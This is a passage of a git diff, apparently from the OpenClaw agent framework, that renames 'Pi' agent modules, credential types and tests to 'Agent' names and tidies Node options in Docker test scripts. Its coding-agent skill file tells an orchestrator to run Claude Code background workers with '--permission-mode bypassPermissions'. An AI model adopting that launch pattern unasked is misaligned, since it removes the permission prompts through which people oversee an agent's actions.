rawArgs.slice(0, separatorIndex) : [...rawArgs]; - const separatorPassthroughArgs = separatorIndex >= 0 ? rawArgs.slice(separatorIndex + 1) : []; + const normalizedArgs = rawArgs[0] === "--" ? rawArgs.slice(1) : rawArgs; + const separatorIndex = normalizedArgs.indexOf("--"); + const args = separatorIndex >= 0 ? normalizedArgs.slice(0, separatorIndex) : [...normalizedArgs]; + const separatorPassthroughArgs = + separatorIndex >= 0 ? normalizedArgs.slice(separatorIndex + 1) : []; const extensionIds = []; while (args[0] && !args[0].startsWith("-")) { diff --git a/scripts/test-live-acp-bind-docker.sh b/scripts/test-live-acp-bind-docker.sh index 80563cb272f..afac035c079 100644 --- a/scripts/test-live-acp-bind-docker.sh +++ b/scripts/test-live-acp-bind-docker.sh @@ -370,7 +370,7 @@ for ACP_AGENT in "${ACP_AGENTS[@]}"; do -e OPENCODE_CONFIG_CONTENT \ -e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \ -e HOME=/home/node \ - -e NODE_OPTIONS=--disable-warning=ExperimentalWarning \ + -e NODE_OPTIONS="$(openclaw_live_container_node_options)" \ -e OPENCLAW_SKIP_CHANNELS=1 \ -e OPENCLAW_VITEST_FS_MODULE_CACHE=0 \ -e OPENCLAW_DOCKER_AUTH_PRESTAGED="$DOCKER_AUTH_PRESTAGED" \ diff --git a/scripts/test-live-cli-backend-docker.sh b/scripts/test-live-cli-backend-docker.sh index bfb28e6bb02..b961ebbe9f3 100644 --- a/scripts/test-live-cli-backend-docker.sh +++ b/scripts/test-live-cli-backend-docker.sh @@ -435,7 +435,7 @@ DOCKER_RUN_ARGS+=(--rm -t \ --entrypoint bash \ -e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \ -e HOME=/home/node \ - -e NODE_OPTIONS=--disable-warning=ExperimentalWarning \ + -e NODE_OPTIONS="$(openclaw_live_container_node_options)" \ -e OPENCLAW_SKIP_CHANNELS=1 \ -e OPENCLAW_VITEST_FS_MODULE_CACHE=0 \ -e OPENCLAW_DOCKER_AUTH_PRESTAGED="$DOCKER_AUTH_PRESTAGED" \ diff --git a/scripts/test-live-codex-harness-docker.sh b/scripts/test-live-codex-harness-docker.sh index d8ac214e573..1da159dfaa0 100644 --- a/scripts/test-live-codex-harness-docker.sh +++ b/scripts/test-live-codex-harness-docker.sh @@ -339,7 +339,7 @@ DOCKER_RUN_ARGS+=(--rm -t \ -e COREPACK_HOME="$DOCKER_CACHE_CONTAINER_DIR/node/corepack" \ -e NPM_CONFIG_CACHE="$DOCKER_CACHE_CONTAINER_DIR/npm" \ -e npm_config_cache="$DOCKER_CACHE_CONTAINER_DIR/npm" \ - -e NODE_OPTIONS=--disable-warning=ExperimentalWarning \ + -e NODE_OPTIONS="$(openclaw_live_container_node_options)" \ -e OPENCLAW_AGENT_HARNESS_FALLBACK=none \ -e OPENCLAW_DOCKER_AUTH_PRESTAGED="$DOCKER_AUTH_PRESTAGED" \ -e OPENCLAW_CODEX_APP_SERVER_BIN="${OPENCLAW_CODEX_APP_SERVER_BIN:-codex}" \ diff --git a/scripts/test-live-gateway-models-docker.sh b/scripts/test-live-gateway-models-docker.sh index 411ef16fa99..742f19d26a2 100755 --- a/scripts/test-live-gateway-models-docker.sh +++ b/scripts/test-live-gateway-models-docker.sh @@ -94,11 +94,7 @@ if [[ -n "${DOCKER_HOME_DIR:-}" ]]; then openclaw_live_stage_auth_into_home "$DOCKER_HOME_DIR" "${AUTH_DIRS[@]}" --files "${AUTH_FILES[@]}" DOCKER_AUTH_PRESTAGED=1 fi -CONTAINER_NODE_OPTIONS="${OPENCLAW_DOCKER_NODE_OPTIONS:-${NODE_OPTIONS:-}}" -if [[ -z "$(openclaw_live_trim "$CONTAINER_NODE_OPTIONS")" ]]; then - CONTAINER_NODE_OPTIONS="--max-old-space-size=4096" -fi -CONTAINER_NODE_OPTIONS="$CONTAINER_NODE_OPTIONS --disable-warning=ExperimentalWarning" +CONTAINER_NODE_OPTIONS="$(openclaw_live_container_node_options)" EXTERNAL_AUTH_MOUNTS=() if ((${#AUTH_DIRS[@]} > 0)); then diff --git a/scripts/test-live-models-docker.sh b/scripts/test-live-models-docker.sh index 2a9d3b94f7d..fc22b077958 100755 --- a/scripts/test-live-models-docker.sh +++ b/scripts/test-live-models-docker.sh @@ -205,7 +205,7 @@ DOCKER_RUN_ARGS+=(--rm -t \ --entrypoint bash \ -e COREPACK_ENABLE_DOWNLOAD_PROMPT=0 \ -e HOME=/home/node \ - -e NODE_OPTIONS=--disable-warning=ExperimentalWarning \ + -e NODE_OPTIONS="$(openclaw_live_container_node_options)" \ -e OPENCLAW_SKIP_CHANNELS=1 \ -e OPENCLAW_SUPPRESS_NOTES=1 \ -e OPENCLAW_DOCKER_AUTH_PRESTAGED="$DOCKER_AUTH_PRESTAGED" \ diff --git a/scripts/test-live-subagent-announce-docker.sh b/scripts/test-live-subagent-announce-docker.sh index fc7c948496b..7f78bad3822 100644 --- a/scripts/test-live-subagent-announce-docker.sh +++ b/scripts/test-live-subagent-announce-docker.sh @@ -76,11 +76,7 @@ if [[ -n "${OPENAI_API_KEY:-}" || -n "${OPENAI_BASE_URL:-}" || -n "${GEMINI_API_ DOCKER_EXTRA_ENV_FILES+=(--env-file "$docker_env_file") fi -CONTAINER_NODE_OPTIONS="${OPENCLAW_DOCKER_NODE_OPTIONS:-${NODE_OPTIONS:-}}" -if [[ -z "$(openclaw_live_trim "$CONTAINER_NODE_OPTIONS")" ]]; then - CONTAINER_NODE_OPTIONS="--max-old-space-size=4096" -fi -CONTAINER_NODE_OPTIONS="$CONTAINER_NODE_OPTIONS --disable-warning=ExperimentalWarning" +CONTAINER_NODE_OPTIONS="$(openclaw_live_container_node_options)" read -r -d '' LIVE_TEST_CMD <<'EOF' || true set -euo pipefail diff --git a/scripts/test-projects.test-support.mjs b/scripts/test-projects.test-support.mjs index a24b46fdfdf..11c17bd6a7e 100644 --- a/scripts/test-projects.test-support.mjs +++ b/scripts/test-projects.test-support.mjs @@ -55,7 +55,7 @@ import { const DEFAULT_VITEST_CONFIG = "test/vitest/vitest.unit.config.ts"; const AGENTS_CORE_VITEST_CONFIG = "test/vitest/vitest.agents-core.config.ts"; -const AGENTS_PI_EMBEDDED_VITEST_CONFIG = "test/vitest/vitest.agents-pi-embedded.config.ts"; +const AGENTS_EMBEDDED_AGENT_VITEST_CONFIG = "test/vitest/vitest.agents-embedded-agent.config.ts"; const AGENTS_SUPPORT_VITEST_CONFIG = "test/vitest/vitest.agents-support.config.ts"; const AGENTS_TOOLS_VITEST_CONFIG = "test/vitest/vitest.agents-tools.config.ts"; const AGENTS_VITEST_CONFIG = "test/vitest/vitest.agents.config.ts"; @@ -140,7 +140,7 @@ const FULL_SUITE_CONFIG_WEIGHT = new Map([ [GATEWAY_METHODS_VITEST_CONFIG, 177], [COMMANDS_VITEST_CONFIG, 175], [AGENTS_CORE_VITEST_CONFIG, 170], - [AGENTS_PI_EMBEDDED_VITEST_CONFIG, 169], + [AGENTS_EMBEDDED_AGENT_VITEST_CONFIG, 169], [AGENTS_SUPPORT_VITEST_CONFIG, 168], [AGENTS_TOOLS_VITEST_CONFIG, 167], [EXTENSION_CODEX_VITEST_CONFIG, 168], @@ -251,12 +251,11 @@ const CHANGED_ARGS_PATTERN = /^--changed(?:=(.+))?$/u; const VITEST_CONFIG_BY_KIND = { acp: ACP_VITEST_CONFIG, agentCore: AGENTS_CORE_VITEST_CONFIG, - agentPiEmbedded: AGENTS_PI_EMBEDDED_VITEST_CONFIG, + agentEmbedded: AGENTS_EMBEDDED_AGENT_VITEST_CONFIG, agentSupport: AGENTS_SUPPORT_VITEST_CONFIG, agentTools: AGENTS_TOOLS_VITEST_CONFIG, agent: AGENTS_VITEST_CONFIG, agentsCore: AGENTS_CORE_VITEST_CONFIG, - agentsPiEmbedded: AGENTS_PI_EMBEDDED_VITEST_CONFIG, agentsSupport: AGENTS_SUPPORT_VITEST_CONFIG, agentsTools: AGENTS_TOOLS_VITEST_CONFIG, autoReplyCore: AUTO_REPLY_CORE_VITEST_CONFIG, @@ -1840,12 +1839,11 @@ export function buildVitestRunPlans( "autoReplyReply", "autoReplyTopLevel", "agentCore", - "agentPiEmbedded", + "agentEmbedded", "agentSupport", "agentTools", "agent", "agentsCore", - "agentsPiEmbedded", "agentsSupport", "agentsTools", "plugin", diff --git a/skills/coding-agent/SKILL.md b/skills/coding-agent/SKILL.md index 03b3f49cf34..431eca127dd 100644 --- a/skills/coding-agent/SKILL.md +++ b/skills/coding-agent/SKILL.md @@ -1,6 +1,6 @@ --- name: coding-agent -description: "Delegate coding work to Codex, Claude Code, OpenCode, or Pi as background workers; not simple edits or read-only code lookup." +description: "Delegate coding work to Codex, Claude Code, or OpenCode as background workers; not simple edits or read-only code lookup." metadata: { "openclaw": @@ -8,7 +8,7 @@ metadata: "emoji": "🧩", "requires": { - "anyBins": ["claude", "codex", "opencode", "pi"], + "anyBins": ["claude", "codex", "opencode"], "config": ["skills.entries.coding-agent.enabled"], }, "install": @@ -39,7 +39,7 @@ Use for background feature builds, PR reviews, large refactors, and issue-to-PR ## Hard rules - Always launch with `background:true`. -- Codex, Pi, OpenCode: use `pty:true`. +- Codex and OpenCode: use `pty:true`. - Claude Code: no PTY; use `claude --permission-mode bypassPermissions --print`. - Capture a real notification route before spawning. - Worker must send completion/failure via `openclaw message send`. @@ -102,12 +102,6 @@ OpenCode: bash pty:true background:true workdir:/path/repo command:"opencode run < \"$PROMPT\"" ``` -Pi: - -```bash -bash pty:true background:true workdir:/path/repo command:"pi -p \"$(cat \"$PROMPT\")\"" -``` - ## Long issue-to-PR work 1. Create/reuse a GitHub issue as durable spec. diff --git a/src/agents/pi-auth-credentials.ts b/src/agents/agent-auth-credentials.ts similarity index 70% rename from src/agents/pi-auth-credentials.ts rename to src/agents/agent-auth-credentials.ts index 5f8ef67c17e..d47e4cc12b5 100644 --- a/src/agents/pi-auth-credentials.ts +++ b/src/agents/agent-auth-credentials.ts @@ -3,40 +3,40 @@ import { normalizeOptionalString } from "../shared/string-coerce.js"; import type { AuthProfileCredential, AuthProfileStore } from "./auth-profiles.js"; import { normalizeProviderId } from "./provider-id.js"; -type PiApiKeyCredential = { type: "api_key"; key: string }; -type PiOAuthCredential = { +type AgentApiKeyCredential = { type: "api_key"; key: string }; +type AgentOAuthCredential = { type: "oauth"; access: string; refresh: string; expires: number; }; -export type PiCredential = PiApiKeyCredential | PiOAuthCredential; -export type PiCredentialMap = Record; +export type AgentCredential = AgentApiKeyCredential | AgentOAuthCredential; +export type AgentCredentialMap = Record; -export type ResolvePiCredentialMapOptions = { +export type ResolveAgentCredentialMapOptions = { includeSecretRefPlaceholders?: boolean; }; -const PI_SECRET_REF_CONFIGURED_MARKER = "openclaw-secret-ref-configured"; +const AGENT_SECRET_REF_CONFIGURED_MARKER = "openclaw-secret-ref-configured"; function hasConfiguredSecretRef(value: unknown): boolean { return coerceSecretRef(value) !== null; } function secretRefPlaceholder( - options: ResolvePiCredentialMapOptions | undefined, -): PiCredential | null { + options: ResolveAgentCredentialMapOptions | undefined, +): AgentCredential | null { if (options?.includeSecretRefPlaceholders === true) { - return { type: "api_key", key: PI_SECRET_REF_CONFIGURED_MARKER }; + return { type: "api_key", key: AGENT_SECRET_REF_CONFIGURED_MARKER }; } return null; } -function convertAuthProfileCredentialToPi( +function convertAuthProfileCredentialToAgent( cred: AuthProfileCredential, - options?: ResolvePiCredentialMapOptions, -): PiCredential | null { + options?: ResolveAgentCredentialMapOptions, +): AgentCredential | null { if (cred.type === "api_key") { const key = normalizeOptionalString(cred.key) ?? ""; if (!key) { @@ -77,17 +77,17 @@ function convertAuthProfileCredentialToPi( return null; } -export function resolvePiCredentialMapFromStore( +export function resolveAgentCredentialMapFromStore( store: AuthProfileStore, - options?: ResolvePiCredentialMapOptions, -): PiCredentialMap { - const credentials: PiCredentialMap = {}; + options?: ResolveAgentCredentialMapOptions, +): AgentCredentialMap { + const credentials: AgentCredentialMap = {}; for (const credential of Object.values(store.profiles)) { const provider = normalizeProviderId(credential.provider ?? ""); if (!provider || credentials[provider]) { continue; } - const converted = convertAuthProfileCredentialToPi(credential, options); + const converted = convertAuthProfileCredentialToAgent(credential, options); if (converted) { credentials[provider] = converted; } @@ -95,7 +95,7 @@ export function resolvePiCredentialMapFromStore( return credentials; } -export function piCredentialsEqual(a: PiCredential | undefined, b: PiCredential): boolean { +export function agentCredentialsEqual(a: AgentCredential | undefined, b: AgentCredential): boolean { if (!a || typeof a !== "object") { return false; } diff --git a/src/agents/pi-auth-discovery-core.ts b/src/agents/agent-auth-discovery-core.ts similarity index 86% rename from src/agents/pi-auth-discovery-core.ts rename to src/agents/agent-auth-discovery-core.ts index 228e5c75440..23ec78ef179 100644 --- a/src/agents/pi-auth-discovery-core.ts +++ b/src/agents/agent-auth-discovery-core.ts @@ -3,23 +3,23 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { tryReadJsonSync } from "../infra/json-files.js"; import { replaceFileAtomicSync } from "../infra/replace-file.js"; import { isRecord } from "../utils.js"; +import type { AgentCredentialMap } from "./agent-auth-credentials.js"; import { listProviderEnvAuthLookupKeys, resolveProviderEnvAuthLookupMaps, } from "./model-auth-env-vars.js"; import { resolveEnvApiKey } from "./model-auth-env.js"; -import type { PiCredentialMap } from "./pi-auth-credentials.js"; -export type PiDiscoveryAuthLookupOptions = { +export type AgentDiscoveryAuthLookupOptions = { config?: OpenClawConfig; workspaceDir?: string; env?: NodeJS.ProcessEnv; }; -export function addEnvBackedPiCredentials( - credentials: PiCredentialMap, - options: PiDiscoveryAuthLookupOptions = {}, -): PiCredentialMap { +export function addEnvBackedAgentCredentials( + credentials: AgentCredentialMap, + options: AgentDiscoveryAuthLookupOptions = {}, +): AgentCredentialMap { const env = options.env ?? process.env; const lookupParams = { config: options.config, @@ -29,7 +29,7 @@ export function addEnvBackedPiCredentials( const lookupMaps = resolveProviderEnvAuthLookupMaps(lookupParams); const { aliasMap, envCandidateMap: candidateMap, authEvidenceMap } = lookupMaps; const next = { ...credentials }; - // pi-coding-agent hides providers from its registry when auth storage lacks + // session runtime hides providers from its registry when auth storage lacks // a matching credential entry. Mirror env-backed provider auth here so // live/model discovery sees the same providers runtime auth can use. for (const provider of listProviderEnvAuthLookupKeys({ @@ -96,6 +96,6 @@ export function scrubLegacyStaticAuthJsonEntriesForDiscovery(pathname: string): content: `${JSON.stringify(parsed, null, 2)}\n`, dirMode: 0o700, mode: 0o600, - tempPrefix: ".pi-auth", + tempPrefix: ".agent-auth", }); } diff --git a/src/agents/pi-auth-discovery.external-cli.test.ts b/src/agents/agent-auth-discovery.external-cli.test.ts similarity index 84% rename from src/agents/pi-auth-discovery.external-cli.test.ts rename to src/agents/agent-auth-discovery.external-cli.test.ts index 17ce8b1b2a4..7b4a9daca26 100644 --- a/src/agents/pi-auth-discovery.external-cli.test.ts +++ b/src/agents/agent-auth-discovery.external-cli.test.ts @@ -10,11 +10,11 @@ const storeMocks = vi.hoisted(() => ({ })); const credentialMocks = vi.hoisted(() => ({ - resolvePiCredentialMapFromStore: vi.fn(() => ({})), + resolveAgentCredentialMapFromStore: vi.fn(() => ({})), })); const discoveryCoreMocks = vi.hoisted(() => ({ - addEnvBackedPiCredentials: vi.fn((credentials: unknown) => credentials), + addEnvBackedAgentCredentials: vi.fn((credentials: unknown) => credentials), scrubLegacyStaticAuthJsonEntriesForDiscovery: vi.fn(), })); @@ -25,9 +25,9 @@ const syntheticAuthMocks = vi.hoisted(() => ({ vi.mock("./auth-profiles/store.js", () => storeMocks); -vi.mock("./pi-auth-credentials.js", () => credentialMocks); +vi.mock("./agent-auth-credentials.js", () => credentialMocks); -vi.mock("./pi-auth-discovery-core.js", () => discoveryCoreMocks); +vi.mock("./agent-auth-discovery-core.js", () => discoveryCoreMocks); vi.mock("./synthetic-auth.runtime.js", () => ({ resolveRuntimeSyntheticAuthProviderRefs: @@ -38,10 +38,10 @@ vi.mock("../plugins/provider-runtime.js", () => ({ resolveProviderSyntheticAuthWithPlugin: syntheticAuthMocks.resolveProviderSyntheticAuthWithPlugin, })); +import { resolveAgentCredentialsForDiscovery } from "./agent-auth-discovery.js"; import { externalCliDiscoveryForProviders } from "./auth-profiles/external-cli-discovery.js"; -import { resolvePiCredentialsForDiscovery } from "./pi-auth-discovery.js"; -describe("resolvePiCredentialsForDiscovery external CLI scoping", () => { +describe("resolveAgentCredentialsForDiscovery external CLI scoping", () => { beforeEach(() => { vi.clearAllMocks(); }); @@ -53,7 +53,7 @@ describe("resolvePiCredentialsForDiscovery external CLI scoping", () => { providers: ["fireworks"], }); - resolvePiCredentialsForDiscovery("/tmp/openclaw-agent", { + resolveAgentCredentialsForDiscovery("/tmp/openclaw-agent", { config: cfg, env: {}, externalCli, @@ -74,7 +74,7 @@ describe("resolvePiCredentialsForDiscovery external CLI scoping", () => { providers: ["fireworks"], }); - resolvePiCredentialsForDiscovery("/tmp/openclaw-agent", { + resolveAgentCredentialsForDiscovery("/tmp/openclaw-agent", { config: cfg, env: {}, externalCli, @@ -90,7 +90,7 @@ describe("resolvePiCredentialsForDiscovery external CLI scoping", () => { }); it("can skip runtime external auth overlays and scope synthetic auth discovery", () => { - resolvePiCredentialsForDiscovery("/tmp/openclaw-agent", { + resolveAgentCredentialsForDiscovery("/tmp/openclaw-agent", { env: {}, skipExternalAuthProfiles: true, syntheticAuthProviderRefs: ["fireworks"], diff --git a/src/agents/pi-auth-discovery.ts b/src/agents/agent-auth-discovery.ts similarity index 82% rename from src/agents/pi-auth-discovery.ts rename to src/agents/agent-auth-discovery.ts index ce55b2b14b9..041330b9582 100644 --- a/src/agents/pi-auth-discovery.ts +++ b/src/agents/agent-auth-discovery.ts @@ -1,5 +1,13 @@ import { resolveProviderSyntheticAuthWithPlugin } from "../plugins/provider-runtime.js"; import { resolveRuntimeSyntheticAuthProviderRefs } from "../plugins/synthetic-auth.runtime.js"; +import { + resolveAgentCredentialMapFromStore, + type AgentCredentialMap, +} from "./agent-auth-credentials.js"; +import { + addEnvBackedAgentCredentials, + type AgentDiscoveryAuthLookupOptions, +} from "./agent-auth-discovery-core.js"; import type { ExternalCliAuthDiscovery } from "./auth-profiles/external-cli-discovery.js"; import { ensureAuthProfileStore, @@ -8,11 +16,6 @@ import { loadAuthProfileStoreForRuntime, loadAuthProfileStoreForSecretsRuntime, } from "./auth-profiles/store.js"; -import { resolvePiCredentialMapFromStore, type PiCredentialMap } from "./pi-auth-credentials.js"; -import { - addEnvBackedPiCredentials, - type PiDiscoveryAuthLookupOptions, -} from "./pi-auth-discovery-core.js"; export type DiscoverAuthStorageOptions = { externalCli?: ExternalCliAuthDiscovery; @@ -20,12 +23,12 @@ export type DiscoverAuthStorageOptions = { skipExternalAuthProfiles?: boolean; skipCredentials?: boolean; syntheticAuthProviderRefs?: Iterable; -} & PiDiscoveryAuthLookupOptions; +} & AgentDiscoveryAuthLookupOptions; -export function resolvePiCredentialsForDiscovery( +export function resolveAgentCredentialsForDiscovery( agentDir: string, options?: DiscoverAuthStorageOptions, -): PiCredentialMap { +): AgentCredentialMap { const storeOptions = { allowKeychainPrompt: false, ...(options?.config ? { config: options.config } : {}), @@ -43,8 +46,8 @@ export function resolvePiCredentialsForDiscovery( ? loadAuthProfileStoreForRuntime(agentDir, { readOnly: true, ...storeOptions }) : loadAuthProfileStoreForSecretsRuntime(agentDir) : ensureAuthProfileStore(agentDir, storeOptions); - const credentials = addEnvBackedPiCredentials( - resolvePiCredentialMapFromStore(store, { + const credentials = addEnvBackedAgentCredentials( + resolveAgentCredentialMapFromStore(store, { includeSecretRefPlaceholders: options?.readOnly === true, }), { @@ -80,6 +83,6 @@ export function resolvePiCredentialsForDiscovery( } export { - addEnvBackedPiCredentials, + addEnvBackedAgentCredentials, scrubLegacyStaticAuthJsonEntriesForDiscovery, -} from "./pi-auth-discovery-core.js"; +} from "./agent-auth-discovery-core.js"; diff --git a/src/agents/pi-auth-json.test.ts b/src/agents/agent-auth-json.test.ts similarity index 85% rename from src/agents/pi-auth-json.test.ts rename to src/agents/agent-auth-json.test.ts index 2b86170d037..3e03b8bb836 100644 --- a/src/agents/pi-auth-json.test.ts +++ b/src/agents/agent-auth-json.test.ts @@ -2,8 +2,8 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { describe, expect, it, vi } from "vitest"; +import { ensureAgentAuthJsonFromAuthProfiles } from "./agent-auth-json.js"; import { saveAuthProfileStore } from "./auth-profiles/store.js"; -import { ensurePiAuthJsonFromAuthProfiles } from "./pi-auth-json.js"; vi.mock("./auth-profiles/external-auth.js", () => ({ listRuntimeExternalAuthProfiles: () => [], @@ -64,8 +64,8 @@ function expectOAuthAuth( } } -describe("ensurePiAuthJsonFromAuthProfiles", () => { - it("writes openai-codex oauth credentials into auth.json for pi-coding-agent discovery", async () => { +describe("ensureAgentAuthJsonFromAuthProfiles", () => { + it("writes openai-codex oauth credentials into auth.json for session runtime discovery", async () => { const agentDir = await createAgentDir(); writeProfiles(agentDir, { @@ -78,13 +78,13 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const first = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const first = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(first.wrote).toBe(true); const auth = await readAuthJson(agentDir); expectOAuthAuth(auth, "openai-codex", "access-token", "refresh-token"); - const second = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const second = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(second.wrote).toBe(false); }); @@ -99,7 +99,7 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(true); const auth = await readAuthJson(agentDir); @@ -117,7 +117,7 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(true); const auth = await readAuthJson(agentDir); @@ -147,7 +147,7 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(true); const auth = await readAuthJson(agentDir); @@ -168,7 +168,7 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(false); }); @@ -184,11 +184,11 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(false); }); - it("normalizes provider ids when writing auth.json keys", async () => { + it("preserves provider ids when writing auth.json keys", async () => { const agentDir = await createAgentDir(); writeProfiles(agentDir, { @@ -199,12 +199,12 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(true); const auth = await readAuthJson(agentDir); - expectApiKeyAuth(auth, "zai", "sk-zai"); - expect(auth["z.ai"]).toBeUndefined(); + expectApiKeyAuth(auth, "z.ai", "sk-zai"); + expect(auth.zai).toBeUndefined(); }); it("preserves existing auth.json entries not in auth-profiles", async () => { @@ -225,7 +225,7 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - await ensurePiAuthJsonFromAuthProfiles(agentDir); + await ensureAgentAuthJsonFromAuthProfiles(agentDir); const auth = await readAuthJson(agentDir); expectApiKeyAuth(auth, "legacy-provider", "legacy-key"); @@ -247,7 +247,7 @@ describe("ensurePiAuthJsonFromAuthProfiles", () => { }, }); - const result = await ensurePiAuthJsonFromAuthProfiles(agentDir); + const result = await ensureAgentAuthJsonFromAuthProfiles(agentDir); expect(result.wrote).toBe(true); const auth = await readAuthJson(agentDir); diff --git a/src/agents/pi-auth-json.ts b/src/agents/agent-auth-json.ts similarity index 71% rename from src/agents/pi-auth-json.ts rename to src/agents/agent-auth-json.ts index 16f9a1fb082..3f6fdb703ff 100644 --- a/src/agents/pi-auth-json.ts +++ b/src/agents/agent-auth-json.ts @@ -2,16 +2,16 @@ import path from "node:path"; import { z } from "zod"; import { privateFileStore } from "../infra/private-file-store.js"; import { safeParseWithSchema } from "../utils/zod-parse.js"; -import { ensureAuthProfileStore } from "./auth-profiles/store.js"; import { - piCredentialsEqual, - resolvePiCredentialMapFromStore, - type PiCredential, -} from "./pi-auth-credentials.js"; + agentCredentialsEqual, + resolveAgentCredentialMapFromStore, + type AgentCredential, +} from "./agent-auth-credentials.js"; +import { ensureAuthProfileStore } from "./auth-profiles/store.js"; type AuthJsonShape = Record; -const PiCredentialSchema: z.ZodType = z.discriminatedUnion("type", [ +const AgentCredentialSchema: z.ZodType = z.discriminatedUnion("type", [ z.object({ type: z.literal("api_key"), key: z.string(), @@ -38,24 +38,23 @@ async function readAuthJson(rootDir: string, filePath: string): Promise { const store = ensureAuthProfileStore(agentDir, { allowKeychainPrompt: false }); const authPath = path.join(agentDir, "auth.json"); - const providerCredentials = resolvePiCredentialMapFromStore(store); + const providerCredentials = resolveAgentCredentialMapFromStore(store); if (Object.keys(providerCredentials).length === 0) { return { wrote: false, authPath }; } @@ -64,8 +63,8 @@ export async function ensurePiAuthJsonFromAuthProfiles(agentDir: string): Promis let changed = false; for (const [provider, cred] of Object.entries(providerCredentials)) { - const current = safeParseWithSchema(PiCredentialSchema, existing[provider]) ?? undefined; - if (!piCredentialsEqual(current, cred)) { + const current = safeParseWithSchema(AgentCredentialSchema, existing[provider]) ?? undefined; + if (!agentCredentialsEqual(current, cred)) { existing[provider] = cred; changed = true; } diff --git a/src/agents/pi-bundle-lsp-runtime.test.ts b/src/agents/agent-bundle-lsp-runtime.test.ts similarity index 88% rename from src/agents/pi-bundle-lsp-runtime.test.ts rename to src/agents/agent-bundle-lsp-runtime.test.ts index 7ba6789ec61..956a7c8aa37 100644 --- a/src/agents/pi-bundle-lsp-runtime.test.ts +++ b/src/agents/agent-bundle-lsp-runtime.test.ts @@ -4,7 +4,7 @@ import { afterEach, describe, expect, it, vi } from "vitest"; const spawnMock = vi.hoisted(() => vi.fn()); const killProcessTreeMock = vi.hoisted(() => vi.fn()); -const loadEmbeddedPiLspConfigMock = vi.hoisted(() => vi.fn()); +const loadEmbeddedAgentLspConfigMock = vi.hoisted(() => vi.fn()); vi.mock("node:child_process", async () => ({ ...(await vi.importActual("node:child_process")), @@ -15,8 +15,8 @@ vi.mock("../process/kill-tree.js", () => ({ killProcessTree: killProcessTreeMock, })); -vi.mock("./embedded-pi-lsp.js", () => ({ - loadEmbeddedPiLspConfig: loadEmbeddedPiLspConfigMock, +vi.mock("./embedded-agent-lsp.js", () => ({ + loadEmbeddedAgentLspConfig: loadEmbeddedAgentLspConfigMock, })); vi.mock("../logger.js", () => ({ @@ -77,7 +77,7 @@ class MockChildProcess extends EventEmitter { } function configureSingleLspServer(): void { - loadEmbeddedPiLspConfigMock.mockReturnValue({ + loadEmbeddedAgentLspConfigMock.mockReturnValue({ lspServers: { typescript: { command: "typescript-language-server", @@ -90,18 +90,18 @@ function configureSingleLspServer(): void { describe("bundle LSP runtime", () => { afterEach(async () => { - const { disposeAllBundleLspRuntimes } = await import("./pi-bundle-lsp-runtime.js"); + const { disposeAllBundleLspRuntimes } = await import("./agent-bundle-lsp-runtime.js"); await disposeAllBundleLspRuntimes(); spawnMock.mockReset(); killProcessTreeMock.mockReset(); - loadEmbeddedPiLspConfigMock.mockReset(); + loadEmbeddedAgentLspConfigMock.mockReset(); }); it("starts LSP servers in a disposable process group", async () => { configureSingleLspServer(); const child = new MockChildProcess(); spawnMock.mockReturnValue(child); - const { createBundleLspToolRuntime } = await import("./pi-bundle-lsp-runtime.js"); + const { createBundleLspToolRuntime } = await import("./agent-bundle-lsp-runtime.js"); const runtime = await createBundleLspToolRuntime({ workspaceDir: "/tmp/workspace" }); @@ -124,7 +124,7 @@ describe("bundle LSP runtime", () => { const child = new MockChildProcess(); spawnMock.mockReturnValue(child); const { createBundleLspToolRuntime, disposeAllBundleLspRuntimes } = - await import("./pi-bundle-lsp-runtime.js"); + await import("./agent-bundle-lsp-runtime.js"); const runtime = await createBundleLspToolRuntime({ workspaceDir: "/tmp/workspace" }); diff --git a/src/agents/pi-bundle-lsp-runtime.ts b/src/agents/agent-bundle-lsp-runtime.ts similarity index 98% rename from src/agents/pi-bundle-lsp-runtime.ts rename to src/agents/agent-bundle-lsp-runtime.ts index f4323846528..049056ea42b 100644 --- a/src/agents/pi-bundle-lsp-runtime.ts +++ b/src/agents/agent-bundle-lsp-runtime.ts @@ -1,5 +1,4 @@ import { spawn, type ChildProcess } from "node:child_process"; -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { sanitizeHostExecEnv } from "../infra/host-env-security.js"; import { logDebug, logWarn } from "../logger.js"; @@ -10,12 +9,13 @@ import { import { setPluginToolMeta } from "../plugins/tools.js"; import { killProcessTree } from "../process/kill-tree.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; -import { loadEmbeddedPiLspConfig } from "./embedded-pi-lsp.js"; +import { loadEmbeddedAgentLspConfig } from "./embedded-agent-lsp.js"; import { resolveStdioMcpServerLaunchConfig, describeStdioMcpServerLaunchConfig, type StdioMcpServerLaunchConfig, } from 